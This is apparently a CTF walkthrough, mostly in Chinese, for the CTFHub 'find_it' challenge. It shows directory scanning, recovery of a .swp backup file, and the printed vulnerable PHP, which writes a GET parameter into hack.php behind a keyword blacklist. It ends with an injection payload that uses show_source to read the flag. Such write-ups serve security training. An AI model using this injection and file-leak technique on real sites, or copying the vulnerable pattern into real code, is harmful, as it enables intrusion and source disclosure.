CTFHUB find_it
dirsearch扫描
robots.txt
When I was a child,I also like to read Robots.txt
Here is what you want: 1ndexx.php
1ndexx.php无法访问；
扫缓存.1ndexx.php.swp
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<?php $link = mysql_connect('localhost', 'ctfhub', 'ctfhub'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
直接访问hack.php无法访问
show_source()读取文件：
?code=<?php show_source(__FILE__);?>
再次访问hack.php
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关于show_source()
show_source() 函数对文件进行语法高亮显示。
本函数是 highlight_file() 的别名
关于.swp缓存文件
文件泄露(.swp备份文件)
调用这类的隐藏文件的时候，需要在最前面加.
参考链接:https://blog.csdn.net/haijiege/article/details/85230327
